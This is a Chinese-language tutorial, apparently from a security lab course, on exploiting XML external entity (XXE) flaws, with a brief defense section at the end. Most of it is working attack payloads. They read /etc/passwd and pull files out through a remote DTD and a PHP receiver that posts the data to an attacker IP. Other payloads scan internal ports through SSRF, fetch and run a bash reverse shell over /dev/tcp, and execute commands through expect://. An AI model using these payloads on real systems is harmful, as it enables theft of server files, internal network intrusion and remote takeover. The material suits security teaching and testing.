1. 程式人生 > >實戰講解XXE漏洞的利用與防禦策略

實戰講解XXE漏洞的利用與防禦策略

gcd oam copyright 解析xml MQ 包括 實驗 將他 Coding

現在許多不同的客戶端技術都可以使用XMl向業務應用程序發送消息,為了使應用程序使用自定義的XML消息,應用程序必須先去解析XML文檔,並且檢查XML格式是否正確。當解析器允許XML外部實體解析時,就會造成XXE漏洞,導致服務器被攻擊。本期“安仔課堂”,ISEC實驗室的李老師為我們詳細解析XXE漏洞的利用和防禦。

技術分享圖片

一、XML基礎知識

技術分享圖片

XML是用於標記電子文件並使其具有結構性的標記語言,可以用來標記數據、定義數據類型,是一種允許用戶對自己的標記語言進行定義的源語言。XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。

<?xml version="1.0"?>

<!DOCTYPE note [

<!ELEMENT note (to,from,heading,body)>

<!ELEMENT to (#PCDATA)>

<!ELEMENT from (#PCDATA)>

<!ELEMENT heading (#PCDATA)>

<!ELEMENT body (#PCDATA)>]>

<note>

<to>George</to>

<from>John</from>

<heading>Reminder</heading>

<body>Don‘t forget the meeting!</body>

</note>

DTD(文檔類型定義)的作用是定義XML文檔的合法構建模塊。DTD可以在XML文檔內聲明,也可以外部引用。

內部聲明DTD:<!DOCTYPE 根元素 [元素聲明]>;

引用外部DTD:<!DOCTYPE 根元素 SYSTEM "文件名">或者<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">;

DTD實體是用於定義引用普通文本或特殊字符的快捷方式的變量,可以內部聲明或外部引用。

內部聲明實體:<!ENTITY 實體名稱 "實體的值">;

引用外部實體:<!ENTITY 實體名稱 SYSTEM "URI">。

技術分享圖片

二、XML外部實體

技術分享圖片

使用XML主要是為了使兩個采用不同技術的系統可以通過XML進行通信和交換數據。而有些XML文檔包含system標識符定義的“實體”,這些XML文檔會在DOCTYPE頭部標簽中呈現。這些定義的“實體”能夠訪問本地或遠程的內容。比如,下面的XML文檔樣例就包含了XML“實體”:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE XXE [

<!ELEMENT name ANY >

<!ENTITY XXE SYSTEM "file://etc/passwd" >]>

<root>

<name>&XXE;</name>

</root>

在上面的代碼中,XML外部實體“XXE”被賦予的值為:file://etc/passwd。在解析XML文檔的過程中,實體“XXE”的值會被替換為URI(file://etc/passwd)內容值(也就是passwd文件的內容)。關鍵字“SYSTEM”會告訴XML解析器,“XXE”實體的值將從其後的URI中讀取。

技術分享圖片

 三、XML外部實體攻擊

技術分享圖片


當XML允許引用外部實體,關鍵字“SYSTEM”會令XML解析器從URI中讀取內容,並允許它在XML文檔中被替換。因此,攻擊者可以通過實體將他自定義的值發送給應用程序,然後讓應用程序去呈現。

簡單來說,攻擊者強制XML解析器去訪問攻擊者指定的資源內容(可能是系統上本地文件亦或是遠程系統上的文件)。而不同的XML解析器,對外部實體有不同的處理規則。

在PHP中默認處理的函數為xml_parse和simplexml_load,xml_parse的實現方式為expat庫,默認情況不會解析外部實體,而simplexml_load默認情況下會解析外部實體,造成安全威脅。除PHP外,在Java、Python等處理XML的組件及函數中,都可能存在此問題。

如何判斷是否存在XML外部實體攻擊?那就是尋找那些接受XML作為輸入內容的端點,而有些端點可能並不是那麽明顯,比如一些僅使用JSON去訪問服務的客戶端,可以通過修改HTTP的請求或修改Content-Type頭部字段等方法,然後看應用程序的響應,看程序是否解析了發送的內容,如果解析了,那麽就可能存在XXE攻擊漏洞。

技術分享圖片

四、XXE漏洞測試

技術分享圖片

借助XXE,攻擊者可以實現任意文件讀取,DDOS拒絕服務攻擊以及代理掃描內網等。

1.任意文件讀取漏洞測試

當有回顯時,直接利用payload:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE XXE [

<!ELEMENT name ANY >

<!ENTITY XXE SYSTEM "file://etc/passwd" >]>

<root>

<name>&XXE;</name>

</root>

可以進行任意文件讀取文件:

技術分享圖片

圖1

當無回顯時,引用遠程服務器上的XML文件讀取文件:

將以下get.php,1.xml保存到自己的WEB服務器下

get.php:

<?php

$xml=$_GET[‘xml‘];

$base=base64_decode($xml);

file_put_contents(‘data.txt‘, $base);

?>

1.xml:

<!ENTITY % payloadSYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">

<!ENTITY % int "<!ENTITY % trick SYSTEM ‘http://192.168.55.129/get.php?xml=%payload;‘>">

%int;

%trick;

直接發送payload:

<?xml version="1.0" encoding="UTF-8" ?>

<!DOCTYPE root [

<!ENTITY % remote SYSTEM "http://192.168.55.129/1.xml">

%remote;]>

<root/>

就能讀取任意文件並把數據保存到本地的data.txt文件裏:

技術分享圖片

圖2

2.探測內網端口和網站

有回顯時,直接發送payload:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE XXE [

<!ELEMENT name ANY >

<!ENTITY XXE SYSTEM "http://127.0.0.1:80" >]>

<root>

<name>&XXE;</name>

</root>

端口存在時會返回頁面報錯信息:

技術分享圖片

圖3

端口不存在時,返回無法連接的報錯信息:

技術分享圖片

圖4

無回顯時,修改1.xml文件,把file協議修改為需要掃描的IP:

<!ENTITY % payloadSYSTEM "php://filter/read=convert.base64-encode/resource=http://192.168.55.129">

<!ENTITY % int "<!ENTITY % trick SYSTEM ‘http://192.168.55.129/get.php?xml=%payload;‘>">

%int;

%trick;

直接發送payload:

<?xml version="1.0" encoding="UTF-8" ?>

<!DOCTYPE root [

<!ENTITY % remote SYSTEM "http://192.168.55.129/1.xml">

%remote;]>

<root/>

當端口存在web頁面,也可獲得內網網站的的頁面源代碼:

技術分享圖片

圖5

3.攻擊內網網站

若內網網站存在命令執行漏洞時:

將以下bash.txt保存至自己的WEB服務器下:

bash.txt:

bash -i >& /dev/tcp/192.168.55.129/8877 0>&1

發送以下payload獲取bash.txt文件:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE XXE [

<!ELEMENT name ANY >

<!ENTITY XXE SYSTEM "http://127.0.0.1/hack.php?1=curl%20-o%20/tmp/1.txt%20192.168.55.129/bash.txt" >]>

<root>

<name>&XXE;</name>

</root>

技術分享圖片

圖6

在本機監聽一個端口:

技術分享圖片

圖7

發送一下payload,獲得反彈shellcode命令:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE XXE [

<!ELEMENT name ANY >

<!ENTITY XXE SYSTEM "http://127.0.0.1/hack.php?1=/bin/bash%20/tmp/1.txt" >]>

<root>

<name>&XXE;</name>

</root>

技術分享圖片

圖8

4.執行系統命令

若安裝expect擴展的PHP環境裏還可以直接執行系統命令,其他協議也有可能可以執行系統命令。

直接執行payload:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE XXE [

<!ELEMENT name ANY >

<!ENTITY XXE SYSTEM "expect://id" >]>

<root>

<name>&XXE;</name>

</root>

技術分享圖片

五、防禦XXE攻擊

技術分享圖片

防禦XXE攻擊主要有三方面:一是檢查所使用的底層XML解析庫,默認禁止外部實體的解析二是若使用第三方應用代碼需要及時升級補丁;三是對用戶提交的XML數據進行過濾,關鍵詞:<!DOCTYPE和<!ENTITY或者SYSTEM和PUBLIC等。

實戰講解XXE漏洞的利用與防禦策略